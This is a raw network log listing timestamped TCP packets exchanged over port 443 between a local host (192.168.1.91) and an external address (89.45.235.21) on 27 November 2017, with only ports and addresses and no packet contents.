Nov 27, 2017 12:34:34.193062067 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.193079948 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.209367037 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.209394932 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.209645987 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.209662914 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.209908962 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.209930897 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.210027933 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.210047007 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.224039078 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.224261999 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.224296093 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.226447105 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.226481915 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.226625919 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.226644993 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.232426882 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.232453108 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.232547045 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.232582092 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.234987020 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.235013008 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.235174894 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.235208035 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.242003918 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.242039919 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.242249966 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.242284060 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.249533892 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.249566078 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.249751091 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.249783993 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.251132011 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.251157045 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.251307964 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.251342058 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.261368036 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.261394978 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.261415958 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.261574984 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.261609077 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.264425993 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.264452934 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.264662981 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.264695883 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.272687912 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.272720098 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.272737026 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.272919893 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.272952080 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.279419899 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.279447079 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.279644966 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.279683113 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.286128998 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.286161900 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.286344051 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.286381960 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.288969994 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.288995981 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.289167881 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.289205074 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.297301054 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.297327042 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.297516108 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.297554016 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.304116011 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.304147005 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.304357052 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.304394960 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.307986021 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.308015108 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.308042049 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.308253050 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.308291912 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.320007086 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.320023060 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.320151091 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.320188046 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.342578888 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.342616081 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.342896938 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.342951059 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.346255064 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.346287966 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.346487045 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.346518040 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.372482061 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.372529984 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.372539043 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.372833967 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.372893095 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.382992029 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.383009911 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.383177996 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.383219004 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.406188011 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.406214952 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.406517982 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.406570911 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.408941031 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.408961058 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.409066916 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.409100056 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.431536913 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.431576967 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.431786060 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.431823969 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.438364983 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.438391924 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.438616991 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.438656092 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.443932056 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.443963051 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.444164991 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.444202900 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.448626041 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.448779106 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.448807001 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.451689005 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.451865911 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.451903105 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.455836058 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.455862045 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.456023932 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.456058025 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.470674038 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.470704079 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.470912933 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.470959902 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.477905989 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.477937937 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.478130102 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.478168011 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.478687048 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.478717089 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.478884935 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.478914022 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.502516985 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.502557993 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.502770901 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.502818108 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.509598970 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.509623051 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.509756088 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.509799957 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.535460949 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.535492897 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.535711050 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.535748959 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.547410965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.547457933 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.547553062 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.547569990 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.548219919 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.548265934 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.556170940 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.556185007 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.556298971 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.556324005 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.578082085 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.578104973 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.578284979 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.578310966 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.585236073 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.585263968 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.585386038 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.585410118 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.585639954 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.585655928 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.585715055 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.585735083 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.615487099 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.615515947 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.615655899 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.615681887 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.620647907 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.620676994 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.620784998 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.620809078 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.630228043 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.630250931 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.630381107 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.630407095 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.637268066 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.637299061 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.637414932 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.637444973 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.654777050 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.654798985 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.654956102 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.654992104 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.662501097 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.662528038 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.662672997 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.662699938 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.671406984 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.671426058 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.671435118 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.671485901 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.671495914 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.671592951 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.671629906 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.676640987 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.676667929 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.676783085 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.676808119 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.695873022 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.695894003 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.696078062 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.696105003 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.699443102 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.699464083 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.699567080 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.699593067 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.700701952 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.700723886 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.700834036 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.700854063 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.720380068 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.720400095 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.720550060 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.720577955 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.727314949 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.727329016 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.727406025 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.727431059 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.734066963 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.734091043 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.734200001 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.734225035 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.735363960 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.735384941 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.735502005 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.735524893 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.747790098 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.747812986 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.747901917 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.747925043 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.751038074 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.751081944 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.751184940 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.751208067 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.757731915 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.757764101 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.757877111 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.757900000 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.760488033 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.760514975 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.760616064 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.760637045 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.765116930 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.765218973 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.765240908 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.771615982 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.771656036 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.771699905 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.771723986 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.772231102 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.772258997 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.772377968 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.772401094 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.779486895 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.781560898 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.781590939 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.781606913 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.781675100 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.783195019 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.796756983 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.796782970 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.796792030 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.796919107 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.796947956 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.805604935 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.805638075 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.805689096 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.805715084 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.812655926 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.812683105 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.812880039 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.812900066 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.825997114 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.826024055 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.826132059 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.826157093 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.826536894 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.826566935 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.826678038 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.826700926 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.837951899 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.837995052 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.838006973 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.838084936 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.838109970 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.839207888 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.839231014 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.839339018 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.839361906 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.847326994 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.847351074 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.847438097 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.847462893 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.851047993 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.851073027 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.851190090 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.851214886 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.856034994 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.856054068 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.856120110 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.856143951 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.862654924 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.862684965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.862788916 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.862817049 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.867911100 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.867935896 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.868017912 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.868041992 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.870004892 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.870018959 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.870122910 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.870146036 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.877036095 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.877063990 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.877152920 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.877177954 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.879677057 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.879801989 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.879823923 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.886748075 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.886754036 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.887058020 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.887079000 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.897489071 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.897516966 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.897555113 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.897578955 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.897672892 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.897684097 CET	443	49165	89.45.235.21	192.168.1.91
